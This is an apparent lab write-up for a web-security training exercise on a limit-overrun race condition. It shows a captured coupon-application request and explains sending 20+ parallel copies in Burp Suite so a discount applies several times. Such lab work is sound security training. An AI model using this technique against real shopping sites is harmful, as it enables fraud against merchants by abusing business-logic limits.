Limit overrun race conditions
This lab’s purchasing flow contains a race condition that enables you to purchase items for an unintended price.
To solve the lab, successfully purchase a Lightweight L33t Leather Jacket.
You can log in to your account with the following credentials: wiener:peter.
For a faster and more convenient way to trigger the race condition, we recommend that you solve this lab using the Trigger race conditions custom action. This is only available in Burp Suite Professional.
Discovery
Section titled “Discovery”Apply coupon request
POST /cart/coupon HTTP/2Host: 0aed003f04499c76842e86bd00c3007c.web-security-academy.netCookie: session=D4r7k75cS5z15xyhJEcHePjNSQdu35etContent-Length: 52Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Accept-Language: en-GB,en;q=0.9Origin: https://0aed003f04499c76842e86bd00c3007c.web-security-academy.netContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0aed003f04499c76842e86bd00c3007c.web-security-academy.net/cartAccept-Encoding: gzip, deflate, brPriority: u=0, i
csrf=YUhjuKQ706D3mEJHyJuumE2XrHbN46kr&coupon=PROMO20Exploit
Section titled “Exploit”Make 20+ copies of request in Burp Suite then “Create Group tab”.

Coupon applied multiple times.
